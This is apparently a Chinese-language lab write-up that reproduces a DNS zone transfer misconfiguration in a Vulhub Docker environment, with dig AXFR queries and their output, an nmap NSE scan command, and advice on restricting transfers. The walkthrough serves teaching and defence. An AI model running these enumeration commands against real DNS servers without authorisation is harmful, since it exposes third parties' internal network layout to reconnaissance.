目录
简介
环境搭建
漏洞复现
防御与修复
DNS(Domain Name System)是一个关键的系统。它是一个用于将易于记忆的域名(例如"www.text.com")转换为计算机理解的IP地址(例如"192.0.2.1")的服务。
在一个典型的域名系统(DNS)中,有一个主要的域名服务器(Master DNS)和一个或多个次要的域名服务器(Slave DNS)。主要服务器维护了完整的DNS记录,而次要服务器通过从主要服务器进行区域传送来同步数据。
DNS域传送漏洞 : dns协议支持使用axfr类型的记录进行区域传送,用来解决主从同步的问题。如果管理员在配置dns服务器的时候没有限制允许获取记录的来源,将会导致dns域传送漏洞。
DNS域传送漏洞危害 :利用域传送漏洞来获取域名服务器上的全部DNS记录,可能进一步探测网络结构。
1.搭建靶场Vulhub
2.进入到 dns-zone-transfer漏洞的目录
cd vulhub-master/dns/dns-zone-transfer
3.启动环境 (用root用户,避免权限不够报错)
docker-compose up -d
环境运行后,将会监听TCP和UDP的53端口,DNS协议同时支持从这两个端口进行数据传输。
在Linux下,我们可以使用dig命令来发送dns请求。比如,我们可以用dig @your-ip www.vulhub.org
获取域名www.vulhub.org
在目标dns服务器上的A记录:
注 :此处your-ip 指虚拟机的IP 而非docker容器内部IP
1.发送dns请求,获取域名在目标dns服务器上的A记录
dig @your-ip www.vulhub.org
┌──(root㉿li-kali)-[/home/li/vulhub-master/dns/dns-zone-transfer]
└─# dig @192.168.84.135 www.vulhub.org
; <<>> DiG 9.18.12-1-Debian <<>> @192.168.84.135 www.vulhub.org
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 57452
;; flags: qr aa rd; QUERY: 1, ANSWER: 1, AUTHORITY: 2, ADDITIONAL: 3
;; WARNING: recursion requested but not available
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
;; QUESTION SECTION:
;www.vulhub.org. IN A
;; ANSWER SECTION:
www.vulhub.org. 3600 IN A 10.1.1.1
;; AUTHORITY SECTION:
vulhub.org. 3600 IN NS ns2.vulhub.org.
vulhub.org. 3600 IN NS ns1.vulhub.org.
;; ADDITIONAL SECTION:
ns1.vulhub.org. 3600 IN A 10.0.0.1
ns2.vulhub.org. 3600 IN A 10.0.0.2
;; Query time: 0 msec
;; SERVER: 192.168.84.135#53(192.168.84.135) (UDP)
;; WHEN: Wed Aug 09 09:53:01 CST 2023
;; MSG SIZE rcvd: 127
2. 发送axfr类型的dns请求
dig @your-ip -t axfr vulhub.org
┌──(root㉿li-kali)-[/home/li/vulhub-master/dns/dns-zone-transfer]
└─# dig @192.168.84.135 -t axfr vulhub.org
; <<>> DiG 9.18.12-1-Debian <<>> @192.168.84.135 -t axfr vulhub.org
; (1 server found)
;; global options: +cmd
vulhub.org. 3600 IN SOA ns.vulhub.org. sa.vulhub.org. 1 3600 600 86400 3600
vulhub.org. 3600 IN NS ns1.vulhub.org.
vulhub.org. 3600 IN NS ns2.vulhub.org.
admin.vulhub.org. 3600 IN A 10.1.1.4
cdn.vulhub.org. 3600 IN A 10.1.1.3
git.vulhub.org. 3600 IN A 10.1.1.4
ns1.vulhub.org. 3600 IN A 10.0.0.1
ns2.vulhub.org. 3600 IN A 10.0.0.2
sa.vulhub.org. 3600 IN A 10.1.1.2
static.vulhub.org. 3600 IN CNAME www.vulhub.org.
wap.vulhub.org. 3600 IN CNAME www.vulhub.org.
www.vulhub.org. 3600 IN A 10.1.1.1
vulhub.org. 3600 IN SOA ns.vulhub.org. sa.vulhub.org. 1 3600 600 86400 3600
;; Query time: 0 msec
;; SERVER: 192.168.84.135#53(192.168.84.135) (TCP)
;; WHEN: Wed Aug 09 10:01:45 CST 2023
;; XFR size: 13 records (messages 1, bytes 322)
我们获取到了 vulhub.org 的所有子域名记录,这里存在dns域传送漏洞。
3.我们也可以用nmap script来扫描该漏洞:
nmap --script dns-zone-transfer.nse --script-args "dns-zone-transfer.domain=vulhub.org" -Pn -p 53 your-ip
1.防御措施
限制区域传送权限: 配置主要DNS服务器,只允许授权的次要服务器进行区域传送。这可以通过DNS服务器软件的配置文件来实现。通常,设置允许区域传送的IP地址列表,并确保只有受信任的次要服务器被包括在内。
使用ACL(访问控制列表): 在DNS服务器配置中,可以设置访问控制列表,限制可以进行区域传送操作的IP地址范围。
隐藏版本信息: 确保DNS服务器不泄露版本信息。攻击者可能会通过查看版本信息来寻找已知的漏洞。
2.修复措施
禁用不必要的区域传送: 如果你发现DNS服务器存在域传送漏洞,立即停用不必要的区域传送功能,然后进行配置更改。
更新配置: 修复配置错误,确保只有授权的次要服务器可以进行区域传送。